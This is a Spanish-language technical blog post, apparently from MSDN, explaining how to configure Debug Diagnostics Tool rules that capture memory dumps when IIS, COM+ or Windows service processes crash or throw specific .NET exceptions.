<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="COLOR: black; FONT-SIZE: 12pt; mso-bidi-font-weight: bold"><A href="https://blogs.msdn.com/daniem/archive/2010/03/24/como-capturar-volcados-de-crash-con-debug-diagnostics-tool.aspx#dotnet_exception" mce_href="https://blogs.msdn.com/daniem/archive/2010/03/24/como-capturar-volcados-de-crash-con-debug-diagnostics-tool.aspx#dotnet_exception"><FONT color=#0000ff face=Calibri>Volcados de excepciones .NET</FONT></A><o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="COLOR: black; FONT-SIZE: 12pt; mso-bidi-font-weight: bold"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><A id=standard_crash><!----></A><FONT face=Calibri><B><SPAN style="COLOR: black; FONT-SIZE: 12pt">VOLCADOS DE CRASH DE FINALIZACIÓN DE UN PROCESO</SPAN></B><B style="mso-bidi-font-weight: normal"><SPAN style="COLOR: black; FONT-SIZE: 12pt"><o:p></o:p></SPAN></B></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="COLOR: black; FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-bidi-font-weight: bold"><FONT face=Calibri>Este es el escenario más común para capturar volcados de <I style="mso-bidi-font-style: normal">crash</I>, y consiste en generar un volcado de memoria en el momento que se produce la excepción no manejada que provoca la finalización del proceso. <o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="COLOR: black; FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-bidi-font-weight: bold"><FONT face=Calibri>Para configurar una regla de <I style="mso-bidi-font-style: normal">crash</I> de estas características debemos posicionarnos en la pestaña [Rules] y posteriormente pulsar sobre el botón<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>[Add Rule…]. Posteriormente seguiremos estos pasos:<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="COLOR: black; FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-bidi-font-weight: bold"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="TEXT-INDENT: -18pt; MARGIN: 0cm 0cm 0pt 18pt; mso-list: l2 level1 lfo2" class=MsoListParagraph><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><SPAN style="mso-list: Ignore"><FONT size=3>1)</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><FONT size=3>Seleccionar la opción [Crash] <BR style="mso-special-character: line-break"><BR style="mso-special-character: line-break"><o:p></o:p></FONT></SPAN></P>
<P style="TEXT-INDENT: -18pt; MARGIN: 0cm 0cm 0pt 18pt; mso-list: l2 level1 lfo2" class=MsoListParagraph><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><SPAN style="mso-list: Ignore"><FONT size=3>2)</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><FONT size=3>Configurar a que proceso(s) o aplicación(es) adjuntaremos el depurador mediante alguna de las alternativas que nos proporciona la herramienta (en muchas ocasiones hay varias opciones válidas para conseguir el mismo resultado):<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt 18pt" class=MsoListParagraph><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><o:p><FONT size=3>&nbsp;</FONT></o:p></SPAN></P>
<P style="TEXT-INDENT: -18pt; MARGIN: 0cm 0cm 0pt 54pt; mso-list: l2 level2 lfo2" class=MsoListParagraph><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><SPAN style="mso-list: Ignore"><FONT size=3>a)</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT size=3><B><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin">All active IIS/COM+ related processes</SPAN></B><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold">: Adjuntará el depurador a todos los procesos INETINFO.EXE, W3WP.EXE y DLLHOST.EXE que se ejecuten en la máquina. De esta forma obtendremos datos de cualquier <I style="mso-bidi-font-style: normal">crash</I> que se produzca en un proceso relacionado con IIS. <o:p></o:p></SPAN></FONT></P>
<P style="TEXT-INDENT: -18pt; MARGIN: 0cm 0cm 0pt 54pt; mso-list: l2 level2 lfo2" class=MsoListParagraph><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><SPAN style="mso-list: Ignore"><FONT size=3>b)</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT size=3><B><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin">A specific process</SPAN></B><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold">: Adjuntará el depurador a un proceso específico (un determinado PID) o a todos los procesos con el mismo nombre de ejecutable (por ejemplo W3WP.EXE), en función de sí seleccionamos la opción <I style="mso-bidi-font-style: normal">This process instance only</I>.<o:p></o:p></SPAN></FONT></P>
<P style="TEXT-INDENT: -18pt; MARGIN: 0cm 0cm 0pt 54pt; mso-list: l2 level2 lfo2" class=MsoListParagraph><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><SPAN style="mso-list: Ignore"><FONT size=3>c)</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT size=3><B><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin">A specific MTS/COM+ application</SPAN></B><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold">: Adjuntará el depurador al proceso DLLHOST.EXE que aloje la aplicación COM+ que indiquemos. <o:p></o:p></SPAN></FONT></P>
<P style="TEXT-INDENT: -18pt; MARGIN: 0cm 0cm 0pt 54pt; mso-list: l2 level2 lfo2" class=MsoListParagraph><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><SPAN style="mso-list: Ignore"><FONT size=3>d)</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT size=3><B><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin">Web application pool</SPAN></B><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold">: Adjuntará el depurador al proceso W3WP.EXE que aloje el <I style="mso-bidi-font-style: normal">application pool</I> que indiquemos. <o:p></o:p></SPAN></FONT></P>
<P style="TEXT-INDENT: -18pt; MARGIN: 0cm 0cm 0pt 54pt; mso-list: l2 level2 lfo2" class=MsoListParagraph><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><SPAN style="mso-list: Ignore"><FONT size=3>e)</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><B><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin"><FONT size=3>NT Service</FONT></SPAN></B><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><FONT size=3>: Adjuntará el depurador al proceso que aloje al servicio de Windows que indiquemos, por ejemplo SVCHOST.EXE. <BR style="mso-special-character: line-break"><BR style="mso-special-character: line-break"><o:p></o:p></FONT></SPAN></P>
<P style="TEXT-INDENT: -18pt; MARGIN: 0cm 0cm 0pt 18pt; mso-list: l2 level1 lfo2" class=MsoListParagraph><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><SPAN style="mso-list: Ignore"><FONT size=3>3)</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><FONT size=3>En la pantalla de configuración avanzada dejaremos la configuración predeterminada, de forma que no tome ninguna acción cuando se produzcan excepciones de <I style="mso-bidi-font-style: normal">first chance</I>: <BR style="mso-special-character: line-break"><BR><A href="https://msdnshared.blob.core.windows.net/media/TNBlogsFS/BlogFileStorage/blogs_msdn/daniem/WindowsLiveWriter/CmocapturarvolcadosdecrashconDebugDiagno_AF97/clip_image002_2.jpg" original-url="https://blogs.msdn.com/blogfiles/daniem/WindowsLiveWriter/CmocapturarvolcadosdecrashconDebugDiagno_AF97/clip_image002_2.jpg" mce_href="https://blogs.msdn.com/blogfiles/daniem/WindowsLiveWriter/CmocapturarvolcadosdecrashconDebugDiagno_AF97/clip_image002_2.jpg"><IMG style="BORDER-BOTTOM: 0px; BORDER-LEFT: 0px; DISPLAY: inline; BORDER-TOP: 0px; BORDER-RIGHT: 0px" title=clip_image002 border=0 alt=clip_image002 src="https://msdnshared.blob.core.windows.net/media/TNBlogsFS/BlogFileStorage/blogs_msdn/daniem/WindowsLiveWriter/CmocapturarvolcadosdecrashconDebugDiagno_AF97/clip_image002_thumb.jpg" original-url="https://blogs.msdn.com/blogfiles/daniem/WindowsLiveWriter/CmocapturarvolcadosdecrashconDebugDiagno_AF97/clip_image002_thumb.jpg" width=485 height=432 mce_src="https://blogs.msdn.com/blogfiles/daniem/WindowsLiveWriter/CmocapturarvolcadosdecrashconDebugDiagno_AF97/clip_image002_thumb.jpg"></A><BR><BR style="mso-special-character: line-break"><o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt 18pt" class=MsoListParagraph><FONT size=3><SPAN style="mso-no-proof: yes"><?xml:namespace prefix = v ns = "urn:schemas-microsoft-com:vml" /><v:shapetype id=_x0000_t75 stroked="f" filled="f" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" o:spt="75" coordsize="21600,21600"><v:stroke joinstyle="miter"></v:stroke><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:connecttype="rect" gradientshapeok="t" o:extrusionok="f"></v:path><o:lock aspectratio="t" v:ext="edit"></o:lock></v:shapetype><v:shape style="WIDTH: 363.75pt; HEIGHT: 324pt; VISIBILITY: visible; mso-wrap-style: square" id=Picture_x0020_1 type="#_x0000_t75" o:spid="_x0000_i1026"><v:imagedata cropleft="41707f" croptop="21771f" cropright="13595f" cropbottom="16686f" o:title="" src="file:///C:\Users\daniem\AppData\Local\Temp\msohtmlclip1\01\clip_image001.png"></v:imagedata></v:shape></SPAN><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><o:p></o:p></SPAN></FONT></P>
<P style="TEXT-INDENT: -18pt; MARGIN: 0cm 0cm 0pt 18pt; mso-list: l2 level1 lfo2" class=MsoListParagraph><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><SPAN style="mso-list: Ignore"><FONT size=3>4)</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><FONT size=3>Por último debemos indicar el nombre de la regla, la ubicación donde volcará los datos generados y activarla para que empiece a capturar datos. En función del escenario, estos datos pueden ser de gran tamaño por lo que conviene elegir una unidad que no tenga problemas de espacio. <o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="COLOR: black; FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-bidi-font-weight: bold; mso-fareast-language: ES"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><A id=dotnet_exception><!----></A><FONT face=Calibri><B><SPAN style="COLOR: black; FONT-SIZE: 12pt">VOLCADOS DE EXCEPCIONES .NET</SPAN></B><B style="mso-bidi-font-weight: normal"><SPAN style="COLOR: black; FONT-SIZE: 12pt"><o:p></o:p></SPAN></B></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="COLOR: black; FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-bidi-font-weight: bold"><FONT face=Calibri>En muchas ocasiones necesitamos analizar volcados de determinadas excepciones .NET, para examinar el estado de los objetos implicados en el momento de producirse la excepción. A partir de .NET 2.0, el CLR hace una gran labor registrando información sobre las excepciones no manejadas en el log de eventos NT, pero en ocasiones no es suficiente y necesitamos los volcados de memoria. Para configurar una regla de <I style="mso-bidi-font-style: normal">crash</I> de estas características debemos posicionarnos en la pestaña [Rules] y posteriormente pulsar sobre el botón<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>[Add Rule…]. Posteriormente seguiremos estos pasos:<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="COLOR: black; FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-bidi-font-weight: bold"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="TEXT-INDENT: -18pt; MARGIN: 0cm 0cm 0pt 18pt; mso-list: l1 level1 lfo3" class=MsoListParagraph><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><SPAN style="mso-list: Ignore"><FONT size=3>1)</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><FONT size=3>Seleccionar la opción [Crash] <BR style="mso-special-character: line-break"><BR style="mso-special-character: line-break"><o:p></o:p></FONT></SPAN></P>
<P style="TEXT-INDENT: -18pt; MARGIN: 0cm 0cm 0pt 18pt; mso-list: l1 level1 lfo3" class=MsoListParagraph><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><SPAN style="mso-list: Ignore"><FONT size=3>2)</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><FONT size=3>Configurar a que proceso(s) o aplicación(es) adjuntaremos el depurador mediante alguna de las alternativas que nos proporciona la herramienta. Habitualmente nos adjuntaremos a uno o varios procesos W3WP.EXE mediante alguno de los mecanismo que nos proporciona la herramienta:<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoListParagraph><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><o:p><FONT size=3>&nbsp;</FONT></o:p></SPAN></P>
<P style="TEXT-INDENT: -18pt; MARGIN: 0cm 0cm 0pt 54pt; mso-list: l1 level2 lfo3" class=MsoListParagraph><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><SPAN style="mso-list: Ignore"><FONT size=3>a.</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT size=3><B><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin">All active IIS/COM+ related processes</SPAN></B><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold">: Adjuntará el depurador a todos los procesos INETINFO.EXE, W3WP.EXE y DLLHOST.EXE que se ejecuten en la máquina. De esta forma obtendremos datos de cualquier <I style="mso-bidi-font-style: normal">crash</I> que se produzca en un proceso relacionado con IIS. <o:p></o:p></SPAN></FONT></P>
<P style="TEXT-INDENT: -18pt; MARGIN: 0cm 0cm 0pt 54pt; mso-list: l1 level2 lfo3" class=MsoListParagraph><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><SPAN style="mso-list: Ignore"><FONT size=3>b.</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT size=3><B><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin">A specific process</SPAN></B><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold">: Adjuntará el depurador a un proceso específico (un determinado PID) o a todos los procesos con el mismo nombre de ejecutable (por ejemplo W3WP.EXE), en función de sí seleccionamos la opción <I style="mso-bidi-font-style: normal">This process instance only</I>.<o:p></o:p></SPAN></FONT></P>
<P style="TEXT-INDENT: -18pt; MARGIN: 0cm 0cm 0pt 54pt; mso-list: l1 level2 lfo3" class=MsoListParagraph><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><SPAN style="mso-list: Ignore"><FONT size=3>c.</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT size=3><B><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin">A specific MTS/COM+ application</SPAN></B><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold">: Adjuntará el depurador al proceso DLLHOST.EXE que aloje la aplicación COM+ que indiquemos. <o:p></o:p></SPAN></FONT></P>
<P style="TEXT-INDENT: -18pt; MARGIN: 0cm 0cm 0pt 54pt; mso-list: l1 level2 lfo3" class=MsoListParagraph><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><SPAN style="mso-list: Ignore"><FONT size=3>d.</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT size=3><B><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin">Web application pool</SPAN></B><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold">: Adjuntará el depurador al proceso W3WP.EXE que aloje el <I style="mso-bidi-font-style: normal">application pool</I> que indiquemos. <o:p></o:p></SPAN></FONT></P>
<P style="TEXT-INDENT: -18pt; MARGIN: 0cm 0cm 0pt 54pt; mso-list: l1 level2 lfo3" class=MsoListParagraph><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><SPAN style="mso-list: Ignore"><FONT size=3>e.</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><B><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin"><FONT size=3>NT Service</FONT></SPAN></B><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><FONT size=3>: Adjuntará el depurador al proceso que aloje al servicio de Windows que indiquemos, por ejemplo SVCHOST.EXE. <BR style="mso-special-character: line-break"><BR style="mso-special-character: line-break"><o:p></o:p></FONT></SPAN></P>
<P style="TEXT-INDENT: -18pt; MARGIN: 0cm 0cm 0pt 18pt; mso-list: l1 level1 lfo3" class=MsoListParagraph><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><SPAN style="mso-list: Ignore"><FONT size=3>3)</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT size=3><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold">En la pantalla de configuración avanzada pulsamos sobre el botón [Exceptions] y en la ventana de <I style="mso-bidi-font-style: normal">First Chance Exception Configuration</I> le damos a [Add Exception…]. Esto abre una nueva ventana donde configuraremos la excepción específica que queremos monitorizar. Debemos seleccionar el tipo de excepción adecuado en la columna izquierda <I style="mso-bidi-font-style: normal">CLR (.NET) Exception</I> y posteriormente indicar el tipo de excepción y la acción a tomar. Es importante tener en cuenta que el campo [.NET Exception Type] es <I style="mso-bidi-font-style: normal">case sensitive</I>, por lo que debemos poner el nombre exacto de la excepción con las mayúsculas y minúsculas adecuadas. La acción a realizar cuando se produzca una excepción como la configurada será generar un <I style="mso-bidi-font-style: normal">Full Userdump</I>, y limitaremos esta acción a un máximo de 10 volcados: <BR><BR><A href="https://msdnshared.blob.core.windows.net/media/TNBlogsFS/BlogFileStorage/blogs_msdn/daniem/WindowsLiveWriter/CmocapturarvolcadosdecrashconDebugDiagno_AF97/clip_image003_2.png" original-url="https://blogs.msdn.com/blogfiles/daniem/WindowsLiveWriter/CmocapturarvolcadosdecrashconDebugDiagno_AF97/clip_image003_2.png" mce_href="https://blogs.msdn.com/blogfiles/daniem/WindowsLiveWriter/CmocapturarvolcadosdecrashconDebugDiagno_AF97/clip_image003_2.png"><IMG style="BORDER-BOTTOM: 0px; BORDER-LEFT: 0px; DISPLAY: inline; BORDER-TOP: 0px; BORDER-RIGHT: 0px" title=clip_image003 border=0 alt=clip_image003 src="https://msdnshared.blob.core.windows.net/media/TNBlogsFS/BlogFileStorage/blogs_msdn/daniem/WindowsLiveWriter/CmocapturarvolcadosdecrashconDebugDiagno_AF97/clip_image003_thumb.png" original-url="https://blogs.msdn.com/blogfiles/daniem/WindowsLiveWriter/CmocapturarvolcadosdecrashconDebugDiagno_AF97/clip_image003_thumb.png" width=670 height=625 mce_src="https://blogs.msdn.com/blogfiles/daniem/WindowsLiveWriter/CmocapturarvolcadosdecrashconDebugDiagno_AF97/clip_image003_thumb.png"></A></SPAN><SPAN style="mso-no-proof: yes"><v:shape style="WIDTH: 502.5pt; HEIGHT: 468.75pt; VISIBILITY: visible; mso-wrap-style: square" id=Picture_x0020_7 type="#_x0000_t75" o:spid="_x0000_i1025"><v:imagedata o:title="" src="file:///C:\Users\daniem\AppData\Local\Temp\msohtmlclip1\01\clip_image003.png"></v:imagedata></v:shape></SPAN></FONT><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><BR style="mso-special-character: line-break"><BR style="mso-special-character: line-break"><o:p></o:p></SPAN></P>
